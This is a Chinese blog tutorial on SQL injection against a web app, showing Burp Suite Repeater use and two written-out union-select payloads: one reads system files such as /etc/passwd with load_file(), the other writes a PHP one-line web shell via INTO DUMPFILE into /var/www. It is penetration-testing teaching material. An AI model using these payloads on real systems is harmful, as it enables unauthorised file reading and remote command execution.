sql注入2————对系统文件的操作

最新推荐文章于 2025-06-12 17:08:53 发布

原创

最新推荐文章于 2025-06-12 17:08:53 发布 · 602 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#信息安全 #sql注入 #web渗透 #渗透测试

本文探讨了SQL注入中如何利用Burpsuite进行系统文件的操作，包括读取和写入文件，以及编码绕过策略。文章指出，尽管可以成功上传文件，但因权限限制无法直接利用，强调了合理配置数据库权限在防护中的重要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

上一篇文档介绍了sql注入的一些原理和查询方式，这一篇算是作为一个拓展思路；并且这里重新介绍一种工具burpsuite，虽然也是利用url提交，但是更简洁一些

burpsuite准备

1、我们现在sql注入界面截断代理，随机提交一个参数；然后转向burp选择正确的请求；然后发送到repeater(如下图);
在这里插入图片描述
2、在repeater下选择params可以直接更改参数重复提交验证；

读取文件(假设有读取权限)

数据库查询语句中有一个函数load_file()可以提供查询系统文件信息

命令：' union select null,load_file('系统文件地址')--+
图例查看了/etc/passwd文件，如图在界面显示了哦（raw也有）

在这里插入图片描述

写入文件

我们在第二个参数写入一句话木马通过函数dumpfile上传到/var/www.目录下；
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+
这是一个最理想的目录，这一我们就可以在当前页面响应到我们的木马